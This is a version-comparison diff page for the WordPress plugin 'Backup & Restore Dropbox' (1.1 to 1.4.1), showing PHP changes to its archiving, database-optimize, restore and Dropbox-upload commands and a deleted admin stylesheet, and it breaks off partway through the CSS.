Backup & Restore Dropbox - Version 1.4.1

Version Description

Please, keep your Dropbox Backup and Restore plugin up-to-date.

Download this release

Release Info

Developer backup-dropbox
Plugin Icon 128x128 Backup & Restore Dropbox
Version 1.4.1
Comparing to
See all releases

Code changes from version 1.1 to 1.4.1

Files changed (62) hide show
  1. class-wpadm-method-class.php +0 -26
  2. commands/class-wpadm-command-archive.php +56 -44
  3. commands/class-wpadm-command-mysqloptimize.php +22 -22
  4. commands/class-wpadm-command-restore-backup.php +5 -6
  5. commands/class-wpadm-command-send-to-dropbox.php +47 -6
  6. css/admin-style-wpadm.css +0 -702
  7. dropbox-backup.php +13 -11
  8. functions/index.php +1 -0
  9. functions/wpadm.php +190 -0
  10. img/dropbox.png +0 -0
  11. img/stars-5.png +0 -0
  12. wpadm-logo.png → img/wpadm-logo.png +0 -0
  13. img/wpadmload.gif +0 -0
  14. libs/error.class.php +40 -0
  15. libs/index.php +1 -0
  16. libs/lang.class.php +106 -0
  17. libs/lang/index.php +1 -0
  18. libs/wpadm.server.main.class.php +904 -0
  19. main/index.php +1 -0
  20. main/wpadm-class-wp.php +749 -0
  21. methods/class-wpadm-method-backup-delete.php +27 -27
  22. methods/class-wpadm-method-backup-list.php +44 -44
  23. methods/class-wpadm-method-backup.php +406 -450
  24. methods/class-wpadm-method-full-backup-dropbox.php +65 -44
  25. methods/class-wpadm-method-local-backup.php +210 -141
  26. methods/class-wpadm-method-local-restore.php +43 -24
  27. methods/class-wpadm-method-queue-controller.php +5 -16
  28. methods/class-wpadm-method-send-to-dropbox.php +63 -21
  29. methods/class-wpadm-method-update.php +5 -4
  30. modules/class-wpadm-archive.php +49 -41
  31. modules/class-wpadm-command-context.php +31 -27
  32. class-wpadm-command.php → modules/class-wpadm-command.php +13 -13
  33. class-wpadm-core.php → modules/class-wpadm-core.php +85 -39
  34. modules/class-wpadm-method-class.php +38 -0
  35. modules/class-wpadm-mysqldump.php +180 -189
  36. modules/class-wpadm-queue.php +20 -4
  37. class-wpadm-result.php → modules/class-wpadm-result.php +126 -116
  38. modules/class-wpadm-running.php +239 -0
  39. modules/constant.php +58 -0
  40. modules/dropbox.class.php +1 -0
  41. errorHandler.php → modules/errorHandler.php +0 -0
  42. readme.txt +513 -15
  43. template/css/admin-style-wpadm.css +996 -0
  44. template/css/folder.png +0 -0
  45. template/css/icon-folder-open.gif +0 -0
  46. template/css/index.php +2 -0
  47. template/css/tool-bar.css +4 -0
  48. template/dropbox_pro_logo_box1.png +0 -0
  49. template/expsys.php +25 -0
  50. template/index.php +1 -0
  51. template/js/admin-wpadm.js +63 -0
  52. template/js/index.php +2 -0
  53. template/js/jquery.arcticmodal-0.3.css +8 -0
  54. template/js/jquery.arcticmodal-0.3.min.js +22 -0
  55. template/not-ok.png +0 -0
  56. template/notice.php +8 -0
  57. template/notice5.php +11 -0
  58. template/ok-icon.png +0 -0
  59. template/ok.png +0 -0
  60. template/wpadm_show_backup.php +1345 -0
  61. tmp/archive +1 -0
  62. wpadm.php +0 -249
class-wpadm-method-class.php DELETED
@@ -1,26 +0,0 @@
1
- <?php
2
-
3
-
4
- if (!class_exists('WPAdm_Method_Class')) {
5
- abstract class WPAdm_Method_Class {
6
- /**
7
- * @var mixed
8
- */
9
- protected $params;
10
-
11
- /**
12
- * @var WPAdm_result
13
- */
14
- protected $result;
15
-
16
- /**
17
- * @param mixed $params
18
- */
19
- public function __construct($params) {
20
- $this->params = $params;
21
- $this->result = new WPAdm_Result();
22
- }
23
-
24
- abstract function getResult();
25
- }
26
- }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
commands/class-wpadm-command-archive.php CHANGED
@@ -1,45 +1,57 @@
1
- <?php
2
-
3
-
4
- class WPadm_Command_Archive extends WPAdm_Сommand{
5
- public function execute(WPAdm_Command_Context $context)
6
- {
7
- require_once WPAdm_Core::getPluginDir() . '/modules/class-wpadm-archive.php';
8
- $af = $this->getArchiveName($context->get('to_file'));
9
- $archive = new WPAdm_Archive($af, $context->get('to_file') . '.md5');
10
- $archive->setRemovePath($context->get('remove_path'));
11
- $files = $context->get('files');
12
-
13
- // если привышен максимальный размер архива, создадим новый
14
- if (file_exists($af) && filesize($af) > $context->get('max_file_size')) {
15
- //WPAdm_Core::log(filesize($af) . ', max=' . $context->get('max_file_size'));
16
- $af = $this->getNextArchiveName($context->get('to_file'));
17
- unset($archive);
18
- $archive = new WPAdm_Archive($af, $context->get('to_file') . '.md5');
19
- $archive->setRemovePath($context->get('remove_path'));
20
- }
21
- //WPAdm_Core::log('Add to archive ' . $af);
22
- $archive->add(implode(',', $files));
23
- return true;
24
- }
25
-
26
- private function getArchiveName($name)
27
- {
28
- $archives = glob("{$name}-*.zip");
29
- if (empty($archives)) {
30
- return "{$name}-1.zip";
31
- }
32
- $n = count($archives);
33
- $f = "{$name}-{$n}.zip";
34
- //$f = array_pop($archives);
35
- return $f;
36
- }
37
-
38
- private function getNextArchiveName($name)
39
- {
40
- $arhives = glob("{$name}-*.zip");
41
- $n = 1 + count($arhives);
42
- $a = "{$name}-{$n}.zip";
43
- return $a;
44
- }
 
 
 
 
 
 
 
 
 
 
 
 
45
  }
1
+ <?php
2
+
3
+
4
+ class WPadm_Command_Archive extends WPAdm_Сommand{
5
+ public function execute(WPAdm_Command_Context $context)
6
+ {
7
+ ini_set("memory_limit", "256M");
8
+ require_once WPAdm_Core::getPluginDir() . '/modules/class-wpadm-archive.php';
9
+ $af = $this->getArchiveName($context->get('to_file'));
10
+ ini_set("memory_limit", "256M");
11
+ $archive = new WPAdm_Archive($af, $context->get('to_file') . '.md5');
12
+ $archive->setRemovePath($context->get('remove_path'));
13
+ $files = $context->get('files');
14
+ if ( !file_exists( $af ) ) {
15
+ WPAdm_Core::log(langWPADM::get('Create part ', false) . basename( $af ) );
16
+ }
17
+ if (file_exists($af) && filesize($af) > $context->get('max_file_size')) {
18
+ $af = $this->getNextArchiveName($context->get('to_file'));
19
+ unset($archive);
20
+ if ( !file_exists( $af ) ) {
21
+ WPAdm_Core::log(langWPADM::get('Create part ', false) . basename( $af ) );
22
+ }
23
+ $archive = new WPAdm_Archive($af, $context->get('to_file') . '.md5');
24
+ $archive->setRemovePath($context->get('remove_path'));
25
+ }
26
+ $files_str = implode(',', $files);
27
+ $files_archive = WPAdm_Running::getCommandResultData('archive');
28
+ if (!in_array($files_str, $files_archive)) {
29
+ $archive->add($files_str);
30
+ $files_archive = WPAdm_Running::getCommandResultData('archive');
31
+ $files_archive[] = $files_str;
32
+ if (!empty($files_archive)) {
33
+ WPAdm_Running::setCommandResultData('archive', $files_archive);
34
+ }
35
+ }
36
+ return true;
37
+ }
38
+
39
+ private function getArchiveName($name)
40
+ {
41
+ $archives = glob("{$name}-*.zip");
42
+ if (empty($archives)) {
43
+ return "{$name}-1.zip";
44
+ }
45
+ $n = count($archives);
46
+ $f = "{$name}-{$n}.zip";
47
+ return $f;
48
+ }
49
+
50
+ private function getNextArchiveName($name)
51
+ {
52
+ $archives = glob("{$name}-*.zip");
53
+ $n = 1 + count($archives);
54
+ $a = "{$name}-{$n}.zip";
55
+ return $a;
56
+ }
57
  }
commands/class-wpadm-command-mysqloptimize.php CHANGED
@@ -1,22 +1,22 @@
1
- <?php
2
- if (!class_exists('WPadm_Command_Mysqloptimize')) {
3
- class WPadm_Command_Mysqloptimize extends WPAdm_Сommand{
4
- public function execute(WPAdm_Command_Context $context)
5
- {
6
- //WPAdm_Core::log(print_r($context, true));
7
- require_once WPAdm_Core::getPluginDir() . '/modules/class-wpadm-mysqldump.php';
8
- $mysqldump = new WPAdm_Mysqldump();
9
- $mysqldump->host = $context->get('host');
10
- $mysqldump->user = $context->get('user');
11
- $mysqldump->password = $context->get('password');
12
-
13
- try {
14
- $mysqldump->optimize($context->get('db'));
15
- } catch (Exception $e) {
16
- $context->setError($e->getMessage());
17
- return false;
18
- }
19
- return true;
20
- }
21
- }
22
- }
1
+ <?php
2
+ if (!class_exists('WPadm_Command_Mysqloptimize')) {
3
+ class WPadm_Command_Mysqloptimize extends WPAdm_Сommand{
4
+ public function execute(WPAdm_Command_Context $context)
5
+ {
6
+ //WPAdm_Core::log(print_r($context, true));
7
+ require_once WPAdm_Core::getPluginDir() . '/modules/class-wpadm-mysqldump.php';
8
+ $mysqldump = new WPAdm_Mysqldump();
9
+ $mysqldump->host = $context->get('host');
10
+ $mysqldump->user = $context->get('user');
11
+ $mysqldump->password = $context->get('password');
12
+
13
+ try {
14
+ $mysqldump->optimize($context->get('db'));
15
+ } catch (Exception $e) {
16
+ $context->setError($e->getMessage());
17
+ return false;
18
+ }
19
+ return true;
20
+ }
21
+ }
22
+ }
commands/class-wpadm-command-restore-backup.php CHANGED
@@ -10,7 +10,7 @@ if (!class_exists('WPadm_Command_Restore_Backup')) {
10
  $file = $context->get('file');
11
  $is_dump = $file && strpos($file, "mysqldump.sql");
12
 
13
- WPAdm_Core::log( "Decompression Archive " . basename($context->get('zip_file')) );
14
  if ($is_dump !== false) {
15
  $inzip = str_replace(ABSPATH, "", $file);
16
  $file_in_zip = $this->archive->extract(PCLZIP_OPT_BY_NAME, $inzip);
@@ -19,8 +19,8 @@ if (!class_exists('WPadm_Command_Restore_Backup')) {
19
  }
20
 
21
  if ($file_in_zip == 0) {
22
- WPAdm_Core::log( "ERROR Archived: " . $this->archive->errorInfo(true) );
23
- $context->setError( "ERROR Archived: " . $this->archive->errorInfo(true));
24
  return false;
25
  }
26
  //WPAdm_Core::log(print_r($file_in_zip, 1));
@@ -40,10 +40,9 @@ if (!class_exists('WPadm_Command_Restore_Backup')) {
40
  }
41
  }
42
  }
43
-
44
  } else {
45
- $context->setError("File Archive Not Exist " . $context->get('zip_file'));
46
- WPAdm_Core::log( "File Archive Not Exist " . $context->get('zip_file') );
47
  return false;
48
  }
49
  return true;
10
  $file = $context->get('file');
11
  $is_dump = $file && strpos($file, "mysqldump.sql");
12
 
13
+ WPAdm_Core::log( "Data decompression " . basename($context->get('zip_file')) );
14
  if ($is_dump !== false) {
15
  $inzip = str_replace(ABSPATH, "", $file);
16
  $file_in_zip = $this->archive->extract(PCLZIP_OPT_BY_NAME, $inzip);
19
  }
20
 
21
  if ($file_in_zip == 0) {
22
+ WPAdm_Core::log( langWPADM::get("Website \"%d\" returned an error during archive extracting: ", false, "%d", SITE_HOME) . $this->archive->errorInfo(true) );
23
+ $context->setError( langWPADM::get("Website \"%d\" returned an error during archive extracting: ", false, "%d", SITE_HOME) . $this->archive->errorInfo(true) );
24
  return false;
25
  }
26
  //WPAdm_Core::log(print_r($file_in_zip, 1));
40
  }
41
  }
42
  }
 
43
  } else {
44
+ $context->setError( langWPADM::get("Website \"%d\" returned an error: The necessary file of archive \"%f\" wasn't found ", false, array('%d', '%f'), array(SITE_HOME, $context->get('zip_file') ) ) );
45
+ WPAdm_Core::log( langWPADM::get("Website \"%d\" returned an error: The necessary file of archive \"%f\" wasn't found ", false, array('%d', '%f'), array(SITE_HOME, $context->get('zip_file') ) ) );
46
  return false;
47
  }
48
  return true;
commands/class-wpadm-command-send-to-dropbox.php CHANGED
@@ -8,15 +8,16 @@ if (!class_exists('WPadm_Command_Send_To_Dropbox')) {
8
  @session_start();
9
  require_once WPAdm_Core::getPluginDir() . '/modules/dropbox.class.php';
10
 
11
- WPAdm_Core::log('Send Files to Dropbox');
12
  $dropbox = new dropbox($context->get('key'), $context->get('secret'), $context->get('token'));
13
 
14
  if (!$dropbox->isAuth()) {
15
- $context->setError("Error auth in Dropbox");
 
 
16
  return false;
17
  }
18
  $files = $context->get('files');
19
-
20
  $file = explode("/", $files);
21
  $file_name = array_pop($file);
22
  $folder_project_temp = $context->get('folder_project');
@@ -31,15 +32,55 @@ if (!class_exists('WPadm_Command_Send_To_Dropbox')) {
31
 
32
  $fromFile = str_replace('//', '/', $files);
33
  $toFile = str_replace('//', '/', $folder_project . $context->get('folder') . '/' . $file_name);
34
- $res = $dropbox->uploadFile($fromFile, $toFile);
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
35
  if (isset($res['error']) && isset($res['text']) && $res['error'] == 1) {
36
- $context->setError("Dropbox error: " . $res['text']);
37
  return false;
38
  }
39
  if (isset($res['size']) && isset($res['client_mtime'])) {
40
- WPAdm_Core::log("file upload: " . $files . " size: " . $res['size']);
 
41
  }
42
  return true;
43
  }
 
 
 
 
 
 
44
  }
45
  }
8
  @session_start();
9
  require_once WPAdm_Core::getPluginDir() . '/modules/dropbox.class.php';
10
 
11
+ WPAdm_Core::log( langWPADM::get('Send to dropbox files' , false) );
12
  $dropbox = new dropbox($context->get('key'), $context->get('secret'), $context->get('token'));
13
 
14
  if (!$dropbox->isAuth()) {
15
+ $context->setError( langWPADM::get('Website "%d" can\'t authorize on Dropbox with using of "app key: %k" and "app secret: %s"' , false,
16
+ array('%d', '%k', '%s'),
17
+ array( SITE_HOME, $context->get('key'), $context->get('secret') ) ) );
18
  return false;
19
  }
20
  $files = $context->get('files');
 
21
  $file = explode("/", $files);
22
  $file_name = array_pop($file);
23
  $folder_project_temp = $context->get('folder_project');
32
 
33
  $fromFile = str_replace('//', '/', $files);
34
  $toFile = str_replace('//', '/', $folder_project . $context->get('folder') . '/' . $file_name);
35
+ $local = $context->get('local');
36
+ $file_dropbox = $dropbox->listing($folder_project . $context->get('folder') . '/' . $file_name);
37
+ $send = true;
38
+ if ( !isset($file_dropbox['error']) ) {
39
+ if ($file_dropbox['bytes'] != filesize($fromFile)) {
40
+ $delete_file = $dropbox->deleteFile($folder_project . $context->get('folder') . '/' . $file_name);
41
+ if (isset($delete_file['error'])) {
42
+ $context->setError( langWPADM::get('Dropbox returned an error during file sending: ' , false) . '"' . $delete_file['text'] . '"');
43
+ return false;
44
+ }
45
+ $data_error_command = WPAdm_Running::getCommandResultData('errors_sending');
46
+ if (isset($data_command[$fromFile])) {
47
+ $data_error_command[$fromFile]['count'] += 1;
48
+ } else {
49
+ $data_error_command[$fromFile] = array();
50
+ $data_error_command[$fromFile]['count'] = 1;
51
+ }
52
+ WPAdm_Running::setCommandResultData('errors_sending', $data_error_command);
53
+ } else {
54
+ $send = false;
55
+ }
56
+ }
57
+ if ( $local ) {
58
+ $data_command = WPAdm_Running::getCommandResultData('command_dropbox');
59
+ if (empty($data_command) || !in_array($fromFile ,$data_command) ) {
60
+ if ($send) {
61
+ $res = $dropbox->uploadFile($fromFile, $toFile, true);
62
+ } else {
63
+ $this->saveDataCommand($fromFile);
64
+ }
65
+ }
66
+ } else {
67
+ $res = $dropbox->uploadFile($fromFile, $toFile, true);
68
+ }
69
  if (isset($res['error']) && isset($res['text']) && $res['error'] == 1) {
70
+ $context->setError( langWPADM::get('Dropbox returned an error during file sending: ' , false) . '"' . $res['text'] . '"');
71
  return false;
72
  }
73
  if (isset($res['size']) && isset($res['client_mtime'])) {
74
+ WPAdm_Core::log( langWPADM::get('File upload: ' , false) . basename( $files ) . langWPADM::get(' size: ' , false) . $res['size']);
75
+ $this->saveDataCommand($fromFile);
76
  }
77
  return true;
78
  }
79
+ private function saveDataCommand($file)
80
+ {
81
+ $data_command = WPAdm_Running::getCommandResultData('command_dropbox');
82
+ $data_command[] = $file;
83
+ WPAdm_Running::setCommandResultData('command_dropbox', $data_command);
84
+ }
85
  }
86
  }
css/admin-style-wpadm.css DELETED
@@ -1,702 +0,0 @@
1
-
2
- .wpadm-notice {
3
- background: #fff;
4
- border-left: 4px solid #dd3d36;
5
- box-shadow: 0 1px 1px 0 rgba(0, 0, 0, 0.1);
6
- font-size: 16px;
7
- overflow: hidden;
8
- position: relative;
9
- text-align: left;
10
- clear: both;
11
- height: 60px;
12
- margin-top: 15px;
13
- width: 95%;
14
- }
15
- .button-link {
16
- background:none!important;
17
- border:none;
18
- padding:0!important;
19
- font: inherit;
20
- color:#0074a2;
21
- border-bottom:1px solid #0074a2;
22
- padding-bottom: 1px;
23
- cursor: pointer;
24
- line-height: 15px;
25
- }
26
- .button-link:hover {
27
- color:#2ea2cc;
28
- border-bottom:1px solid #2ea2cc;
29
- }
30
- .wpadm-notice div.registr {
31
- margin-top : 20px;
32
- font-size: 16px;
33
- margin-left: 15px;
34
- }
35
-
36
- .form-counter {
37
- background: #0096d6;
38
- border: 1px solid #fff;
39
- width: 95%;
40
- margin-bottom: 20px;
41
- margin-top: 20px;
42
- color:#fff;
43
- }
44
-
45
- .form-counter table tr td{
46
- padding: 10px;
47
- }
48
- .color-picker {
49
- margin:10px;
50
- }
51
- .stat_title {
52
- text-align: center;
53
- font-size: 24px;
54
- margin-top: 20px;
55
- }
56
- .cfTabsContainer {
57
- background-color: #0096d6;
58
- overflow: hidden;
59
- width:95%;
60
- padding: 15px;
61
- margin-bottom: 40px;
62
- margin-top: 30px;
63
- -webkit-font-smoothing: antialiased;
64
- }
65
-
66
-
67
- .button-wpadm {
68
- background: none repeat scroll 0 0 #00d2b8;
69
- border-color: #cdcdcd;
70
- box-shadow: 0 1px 0 #00d2b8 inset, 0 1px 0 rgba(0, 0, 0, 0.08);
71
- color: #fff;
72
- vertical-align: top;
73
- border-radius: 3px;
74
- border-style: solid;
75
- border-width: 1px;
76
- box-sizing: border-box;
77
- cursor: pointer;
78
- display: inline-block;
79
- font-size: 13px;
80
- height: 28px;
81
- line-height: 26px;
82
- margin: 0;
83
- padding: 0 10px 1px;
84
- text-decoration: none;
85
- white-space: nowrap;
86
- }
87
- .wpadm-info {
88
- font-size: 15px;
89
- width: 30%;
90
- margin-top:10px;
91
- margin-left: 20px;
92
- margin-bottom: 20px;
93
- border-left: 1px solid #fff;
94
- padding-left:20px;
95
- padding-top: 20px;
96
- height:200px;
97
- }
98
- .wpadm-info-title {
99
- text-align:center;
100
- padding:5px;
101
- color:#fff;
102
- font-size:20px;
103
- }
104
- .wpadm-registr-info {
105
- width: 65%;
106
- }
107
- .wpadm-registr-info label {
108
- color:#fff;
109
- }
110
- .wpadm-plugins-info {
111
- width: 95%;
112
- }
113
- .services-info {
114
- background: #fff; width: 95%; margin-top: 20px;
115
- }
116
- .title-services {
117
- text-align: center; font-size: 20px; font-weight: 800; padding-bottom: 30px; padding-top: 20px;
118
- }
119
-
120
- .tmpl_line_body {
121
- float: left;
122
- margin: 0;
123
- padding: 0;
124
- position: relative;
125
- width: 100%;
126
- }
127
- .wpadm-info-auth {
128
- font-size: 11px;
129
- padding-left:20px;
130
- height:30px;
131
- color:#fff;
132
- margin-top: -5px;
133
- }
134
- #header_navigation_line {
135
- background-color: #21759b;
136
- background-image: linear-gradient(to bottom, #2a95c5, #21759b);
137
- box-shadow: 0 2px 7px 2px rgba(50, 50, 50, 0.5);
138
- height: 68px;
139
- left: 0;
140
- top: 0;
141
- z-index: 1000;
142
- }
143
- #header_navigation_line #main_menu ul li {
144
- display: inline-block;
145
- float: none;
146
- font-size: 14px;
147
- font-weight: bold;
148
- list-style: outside none none;
149
- margin: 0;
150
- padding: 0;
151
- text-shadow: 0 1px 0 rgba(0, 0, 0, 0.1);
152
- }
153
- .inline {
154
- float:left;
155
- margin-top:10px;
156
- margin-left:10px;
157
- }
158
- #header_navigation_line #main_menu ul li a {
159
- background: -moz-linear-gradient(center top , #2e9ed2 5%, #21749b 100%) repeat scroll 0 0 #2e9ed2;
160
- border: 1px solid #1b5f7f;
161
- border-radius: 3px;
162
- box-shadow: 1px 1px 0 0 #78c9e6 inset;
163
- color: #dddddd;
164
- display: inline-block;
165
- float: left;
166
- height: 43px;
167
- line-height: 16px;
168
- margin: 0 2px 0 0;
169
- overflow: hidden;
170
- padding: 5px 0;
171
- text-decoration: none;
172
- width: 90px;
173
- }
174
- #header_navigation_line #main_menu ul li:hover a {
175
- background-image: linear-gradient(to bottom, #2fb1e5, #22759c);
176
- color: #fff;
177
- }
178
- #header_navigation_line #main_menu {
179
- float: left;
180
- margin: 6px 0 0;
181
- width: 100%;
182
- }
183
- #header_navigation_line #logo {
184
- float: left;
185
- left: 0;
186
- position: absolute;
187
- top: 9px;
188
- width: auto;
189
- }
190
- #header_navigation_line #main_menu ul {
191
- float: left;
192
- list-style: outside none none;
193
- margin: 0 0 0 20px;
194
- padding: 0;
195
- text-align: center;
196
- width: 100%;
197
- }
198
- #header_navigation_line #main_menu ul li .nav_icon {
199
- float: left;
200
- height: 24px;
201
- margin: 0;
202
- padding: 0 0 3px;
203
- width: 100%;
204
- }
205
- #header_navigation_line #main_menu ul li.active a, #header_navigation_line #main_menu ul li a:active {
206
- background-image: linear-gradient(to bottom, #2cc4f5, #228bb4);
207
- border: 1px solid #fff;
208
- box-shadow: 0 1px 0 rgba(95, 157, 186, 0.6);
209
- color: #fff;
210
- }
211
- .clear {
212
- clear:both;
213
- }
214
- .plugins-info {
215
- width:320px;
216
- }
217
- .plugin-box {
218
- background: #0096d6;
219
- border: 1px solid #e5e5e5;
220
- box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
221
- min-width: 255px;
222
- position: relative;
223
- line-height: 1;
224
- margin-bottom: 20px;
225
- padding: 0;
226
- }
227
-
228
- .plugins-info-content {
229
- display:none;
230
- border-top: 1px solid #fff;
231
- margin-top:8px;
232
- padding-top: 7px;
233
- }
234
- h3.plugins-title {
235
- font-size: 14px;
236
- line-height: 1.4;
237
- margin: 0;
238
- }
239
- .plugins-title a {
240
- color:#fff;
241
- text-decoration: none;
242
-
243
- }
244
- .wpadm-registr-info, .wpadm-info, .wpadm-info-auth {
245
- float:left;
246
- color:#fff;
247
- }
248
- .button-wpadm:hover {
249
- border-color:#cdcdcd;
250
- background-color: #009583;
251
- }
252
- .wpadm-red:hover {
253
- border-color:#737373 ;
254
- background-color: #ff706c;
255
- }
256
- .wpadm-red {
257
- background: none repeat scroll 0 0 #f21111;
258
- border-color: #c7c6ce;
259
- box-shadow: 0 1px 0 #ff2c26 inset, 0 1px 0 rgba(0, 0, 0, 0.08);
260
- }
261
- .info-detail {
262
- background:#bee7e7;
263
- }
264
- .table {
265
- margin:0px;padding:0px;
266
- width:100%;
267
- border:0px;
268
- border-collapse: collapse;
269
- border-spacing: 0;
270
- width:100%;
271
- height:100%;
272
- border: 1px solid #b7c6ff;
273
- border-radius: 3px;
274
- margin-top: 60px;
275
-
276
- }
277
- .table th {
278
- padding: 7px;
279
- background-color:#dde4ff;
280
- font-size:16px;
281
-
282
- }
283
- .table td {
284
- background: #fff;
285
- font-size: 14px;
286
- padding: 5px 0;
287
- border-bottom:1px solid #b7c6ff;
288
- text-align: center;
289
- }
290
- .info-path td {
291
- font-size: 11px;
292
- padding:0px;
293
- }
294
- .table tr:last td {
295
-
296
- border-bottom: 0px;
297
- }
298
- .header-table {
299
- font-size:20px;
300
- }
301
-
302
- .stat {
303
- width: 200px;
304
- }
305
-
306
- .w1{
307
- width:5%;
308
- }
309
- .w2{
310
- width:13%;
311
- }
312
- .w3{
313
- width:7%;
314
- }
315
- .table-stat-moovdiv {
316
- background: none repeat scroll 0 0 #FFFFFF;
317
- border-spacing: 0;
318
- box-shadow: 0 4px 4px rgba(0, 0, 0, 0.3);
319
- left: 0px;
320
- margin-top: 0;
321
- padding: 10px 15px;
322
- top: 0px;
323
- width: 400px;
324
- }
325
-
326
- .table-stat-moovdiv tr td{
327
- border-right: 0px;
328
- margin-bottom: 1px;
329
- margin-top: 1px;
330
- padding-bottom: 1px;
331
- padding-top: 1px;
332
- border-bottom:1px solid #D6D6D6;
333
- padding: 5px;
334
- }
335
-
336
- #page_item {
337
- margin-bottom:3px;
338
- float:left;
339
- }
340
- .block-export {
341
- float: right;
342
- margin-right: 20px;
343
- }
344
- .info {
345
- width: 70%;
346
- border: 0;
347
- }
348
- .info tr {
349
- border-style: hidden;
350
- }
351
- .info tr td{
352
- border-style: hidden;
353
- padding: 5px;
354
- text-align:left;
355
- }
356
- .chart-box {
357
- background: #fff;
358
- border:1px solid #cccccc;
359
- border-radius:3px;
360
- margin-top:25px;
361
- }
362
- .chart-box-title {
363
- color:#575757;
364
- border-bottom: 1px solid #cccccc;
365
- font-size: 18px;
366
- padding:10px;
367
- }
368
- .charts {
369
- padding:5px;
370
- padding-top: 15px;
371
- }
372
- .form-account {
373
- margin-top: 30px;
374
- margin-bottom : 40px;
375
- border:5px solid #fff;
376
- background: #ffffa5;
377
- padding: 10px;
378
- height: auto;
379
- overflow:hidden;
380
- }
381
- .form-account-title {
382
- margin-bottom: 20px;
383
- font-size: 22px;
384
- }
385
- .form-account-block {
386
- margin-left: 20px;
387
- float:left;
388
- width: 40%;
389
- }
390
- .form-account-login {
391
- margin-top: 10px;
392
- margin-bottom : 40px;
393
- border:5px solid #fff;
394
- background: #ffffa5;
395
- padding: 3px;
396
- height: auto;
397
- overflow:hidden;
398
- }
399
-
400
- .form-account-block-login {
401
- margin-left: 10px;
402
- width: 90%;
403
-
404
- }
405
- .form-account-info {
406
- float:left;
407
- width: 50%;
408
- margin-left: 20px;
409
- }
410
- .b_2 {
411
- background: url("button_ok.png") no-repeat scroll 0 0 rgba(0, 0, 0, 0);
412
- color: #464646;
413
- font-family: Arial,Helvetica,sans-serif;
414
- font-size: 18px;
415
- left: 12px;
416
- padding-left: 30px;
417
- top: 60px;
418
- padding-top: 4px;
419
- padding-bottom : 5px;
420
- }
421
- .b-3 {
422
- font-size: 22px;
423
- }
424
- .form-account-button {
425
- margin-top: 21px;
426
- }
427
- .label-form {
428
- margin-left: 6px;
429
- font-size: 16px;
430
- }
431
- .last {
432
- line-height: 18px;
433
- margin-top: 9px;
434
- }
435
- .progress {
436
- height: 20px;
437
- background: #ebebeb;
438
- border-left: 1px solid transparent;
439
- border-right: 1px solid transparent;
440
- border-radius: 10px;
441
- }
442
- .progress > span {
443
- position: relative;
444
- float: left;
445
- margin: 0 -1px;
446
- min-width: 30px;
447
- height: 18px;
448
- line-height: 16px;
449
- text-align: right;
450
- background: #cccccc;
451
- border: 1px solid;
452
- border-color: #bfbfbf #b3b3b3 #9e9e9e;
453
- border-radius: 10px;
454
- background-image: -webkit-linear-gradient(top, #f0f0f0, #dbdbdb 70%, #cccccc);
455
- background-image: -moz-linear-gradient(top, #f0f0f0, #dbdbdb 70%, #cccccc);
456
- background-image: -o-linear-gradient(top, #f0f0f0, #dbdbdb 70%, #cccccc);
457
- background-image: linear-gradient(to bottom, #f0f0f0, #dbdbdb 70%, #cccccc);
458
- -webkit-box-shadow: inset 0 1px rgba(255, 255, 255, 0.3), 0 1px 2px rgba(0, 0, 0, 0.2);
459
- box-shadow: inset 0 1px rgba(255, 255, 255, 0.3), 0 1px 2px rgba(0, 0, 0, 0.2);
460
- }
461
- .progress > span > span {
462
- padding: 0 8px;
463
- font-size: 11px;
464
- font-weight: bold;
465
- color: #404040;
466
- color: rgba(0, 0, 0, 0.7);
467
- text-shadow: 0 1px rgba(255, 255, 255, 0.4);
468
- }
469
- .progress > span:before {
470
- content: '';
471
- position: absolute;
472
- top: 0;
473
- bottom: 0;
474
- left: 0;
475
- right: 0;
476
- z-index: 1;
477
- height: 18px;
478
- border-radius: 10px;
479
- }
480
-
481
-
482
-
483
- .stat-form-counter {
484
- background: none repeat scroll 0 0 #0096d6;
485
- color: #fff;
486
- margin-bottom: 20px;
487
- width: 46%;
488
- margin-right: 0;
489
- border: 0;
490
- padding: 3px;
491
- }
492
- .stat-wpadm-registr-info {
493
- color: #fff;
494
- float: left;
495
- width: 57%;
496
- }
497
- .stat-wpadm-registr-info label {
498
- color:#fff;
499
- }
500
- .stat-wpadm-info-title {
501
- color: #fff;
502
- font-size: 20px;
503
- padding :20px 0px;
504
- margin-top:10px;
505
- text-align: center;
506
- }
507
- .stat-table-registr {
508
- margin-top: 20px;
509
- }
510
- .stat-table-registr th, .stat-table-registr td {
511
- padding:5px;
512
- }
513
- .stat-wpadm-info {
514
- width: 37%; margin-left: 9px; height:100%; padding-top: 0px; margin-top:20px;
515
- color: #fff;
516
- float: left;
517
- border-left: 1px solid #fff;
518
- font-size: 12px;
519
- margin-bottom: 20px;
520
- padding-left: 20px;
521
- }
522
- .block-button-show {
523
- padding:11px 18px; cursor: pointer; text-align: center;
524
- }
525
- .block-button-show .block-click {
526
- padding-top: 10px;
527
- font-size: 16px;
528
- border-top:1px solid #fff;
529
- }
530
- .stat-setting {
531
- border-left:1px solid #fff;
532
- margin-right: 0px;
533
- }
534
- #stat-title-setting{
535
- font-size: 20px;
536
- margin-top: 10px;
537
- padding: 20px 0;
538
- text-align: center;
539
- }
540
- #preview-image {
541
- height: 105px; float: left; margin-right: 10px; margin-top:45px;
542
- }
543
- #preview-image .block-preview-image {
544
- padding: 10px; border: 1px solid #fff; margin-left: 10px; margin-top:20px; width: 90px; text-align: center;
545
- }
546
- #preview-image .title-preveiw-image {
547
- font-size: 16px; position: absolute;margin-top: -28px; margin-left: 7px;background: #0096d6; padding: 3px;
548
- }
549
- #preview-image .image-block {
550
- display: table;
551
- }
552
- .image-block .image-block-in {
553
- display: table-cell; vertical-align: middle;
554
- }
555
- .image-block-in img {
556
- float: left;margin-top:7px;
557
- margin-left: 2px;
558
- }
559
- .image-block-in .text-image-counter {
560
- float: left;
561
- padding-left:3px;
562
- font-size: 8px;
563
- font-weight: 600;
564
- }
565
- #setting-form .info-block {
566
- float: left; margin: 5px 0px 0px; width:74%;
567
- }
568
- #setting-form .first-info-block {
569
- margin: 20px 0px 0px;
570
- }
571
- .info-block-detail {
572
- float:left;
573
- }
574
- .detail-title {
575
- margin: 0 5px; width: 30%;
576
- }
577
- #setting-form .info-block .details-info {
578
- width: auto;
579
- font-size: 10px;
580
- margin:0px;
581
- }
582
- #setting-form .info-block input[type="text"] {
583
- font-size: 14px;
584
- height: 28px;
585
- }
586
- .info-block .checkbox-info {
587
